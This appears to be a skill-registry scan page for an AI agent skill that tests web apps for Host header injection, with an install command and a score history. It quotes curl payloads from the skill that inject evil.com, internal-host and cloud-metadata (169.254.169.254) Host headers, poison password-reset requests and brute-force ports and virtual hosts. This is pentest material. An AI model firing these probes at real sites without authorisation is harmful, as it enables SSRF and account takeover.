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testing-for-host-header-injection
90 / 100 · Low risk
Fine to try. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By mukul975/Anthropic-Cybersecurity-Skills (GitHub) · security · 35,906 stars · scanned at commit 54a7988
Test web applications for HTTP Host header injection vulnerabilities
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: target.com
The author does not mention this. Expected for a security skill.
Found in 24 places.
Show 17 more
- skills/testing-for-host-header-injection/SKILL.md, line 65
curl -H "Host: target.com:@evil.com" http://target.com/ -v - skills/testing-for-host-header-injection/SKILL.md, line 71
curl -H "Host: admin.target.com" http://target.com/ -v - skills/testing-for-host-header-injection/SKILL.md, line 72
curl -H "Host: internal.target.com" http://target.com/ -v - skills/testing-for-host-header-injection/SKILL.md, line 73
curl -H "Host: localhost" http://target.com/ -v - skills/testing-for-host-header-injection/SKILL.md, line 80
curl -X POST http://target.com/forgot-password \ - skills/testing-for-host-header-injection/SKILL.md, line 87
curl -X POST http://target.com/forgot-password \ - skills/testing-for-host-header-injection/SKILL.md, line 92
curl -X POST http://target.com/forgot-password \ - skills/testing-for-host-header-injection/SKILL.md, line 98
curl -X POST http://target.com/forgot-password \ - skills/testing-for-host-header-injection/SKILL.md, line 109
curl -H "Host: evil.com" http://target.com/ -v - skills/testing-for-host-header-injection/SKILL.md, line 114
curl -H "X-Forwarded-Host: evil.com" http://target.com/login -v - skills/testing-for-host-header-injection/SKILL.md, line 118
curl http://target.com/login -v - skills/testing-for-host-header-injection/SKILL.md, line 122
curl -H "X-Forwarded-Host: evil.com" http://target.com/ - skills/testing-for-host-header-injection/SKILL.md, line 130
curl -H "Host: internal-api.target.local" http://target.com/api/proxy - skills/testing-for-host-header-injection/SKILL.md, line 133
curl -H "Host: 169.254.169.254" http://target.com/ - skills/testing-for-host-header-injection/SKILL.md, line 137
curl -H "Host: 127.0.0.1:$port" http://target.com/ -o /dev/null -w "%{http_code}" -s - skills/testing-for-host-header-injection/SKILL.md, line 149
status=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{http_code}" -s) - skills/testing-for-host-header-injection/SKILL.md, line 150
size=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{size_download}" -s)
and 4 more places
Runs commands on your computer
The author does not mention this. Expected for a security skill.
Found in 5 places.
Show 2 more
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'testing-for-host-header-injection' ] || [ -L ~/.agents/skills/'testing-for-host-header-injection' ]; then echo 'A skill folder named testing-for-host-header-injection already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/mukul975/Anthropic-Cybersecurity-Skills' "$d" && git -C "$d" checkout --quiet '54a798831d2266a3ca61ce68a7acb80b81160d57' -- 'skills/testing-for-host-header-injection' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/testing-for-host-header-injection' ~/.agents/skills/'testing-for-host-header-injection' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'testing-for-host-header-injection' ~/.claude/skills/'testing-for-host-header-injection' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for mukul975/Anthropic-Cybersecurity-Skills shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/mukul975/Anthropic-Cybersecurity-Skills/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | 54a7988 | 90 |
| 2026-11-07 | 54a7988 | 90 |